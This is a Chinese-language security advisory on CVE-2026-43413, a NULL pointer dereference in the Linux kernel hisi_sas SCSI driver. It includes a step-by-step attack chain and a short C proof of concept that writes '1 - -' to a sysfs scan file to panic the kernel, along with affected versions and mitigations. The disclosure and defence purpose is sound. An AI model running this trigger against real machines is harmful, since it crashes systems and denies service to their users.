IPBUF安全漏洞报告
English
CVE-2026-43413 CVSS 5.5 中危

CVE-2026-43413 Linux内核hisi_sas空指针漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43413
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL Pointer DereferenceDoShisi_sasSCSILocal

漏洞概述

Linux内核中的hisi_sas驱动程序在处理用户发起的扫描操作时存在空指针解引用漏洞。由于该驱动仅支持一个通道,但在user_scan()函数中,代码逻辑会尝试扫描从0到max_channel(值为1)的所有通道。当尝试访问不存在的通道1时,相关数据结构未初始化,导致内核触发NULL指针异常。本地低权限攻击者可利用此漏洞导致系统崩溃,造成拒绝服务。

技术细节

该漏洞位于drivers/scsi/hisi_sas/hisi_sas_main.c及相关的SAS层逻辑中。当用户通过sysfs触发扫描(如echo命令写入scan文件)时,内核调用user_scan()。该函数首先扫描通道0,随后循环扫描剩余通道(1至shost->max_channel)。hisi_sas硬件仅支持单通道(通道0),但max_channel被设置为1。在扫描通道1时,sas_find_dev_by_rphy函数尝试访问rphy指针,由于通道1不存在,该指针为NULL。代码在未检查指针有效性的情况下解引用它(偏移0x8b0),引发页错误(Page Fault)和内核恐慌(Kernel Panic),导致系统宕机。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限用户访问权限。
STEP 2
步骤2
攻击者识别系统使用hisi_sas驱动,并定位到对应的SCSI主机sysfs接口(如/sys/class/scsi_host/hostX/scan)。
STEP 3
步骤3
攻击者向scan文件写入特定的扫描指令,指定扫描不存在的通道1(例如写入"1 - -")。
STEP 4
步骤4
内核执行user_scan()流程,尝试遍历通道,并在sas_find_dev_by_rphy中访问空指针。
STEP 5
步骤5
触发内核异常(Kernel Oops/Panic),导致系统崩溃或重启,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-43413: Trigger NULL pointer dereference in hisi_sas // Compile: gcc -o poc_exploit poc_exploit.c // Usage: ./poc_exploit (requires local access and hisi_sas hardware) #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main() { int fd; const char *scan_path = "/sys/class/scsi_host/host0/scan"; // Command format: <channel> <id> <lun> // "1 - -" forces a scan on channel 1, which does not exist on hisi_sas const char *trigger_cmd = "1 - -"; printf("[*] Attempting to trigger CVE-2026-43413...\n"); fd = open(scan_path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open scan sysfs entry"); return 1; } if (write(fd, trigger_cmd, strlen(trigger_cmd)) < 0) { perror("[-] Failed to write trigger command"); } else { printf("[+] Command sent. If vulnerable, the kernel should panic now.\n"); } close(fd); return 0; }

影响范围

Linux Kernel < v6.6.31
Linux Kernel < v6.8.10
Linux Kernel < v6.9.1
Linux Kernel < v6.10

防御指南

临时缓解措施
限制非特权用户对/sys/class/scsi_host/目录下文件的写权限。若不使用hisi_sas驱动,可在系统中禁用或卸载该模块以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表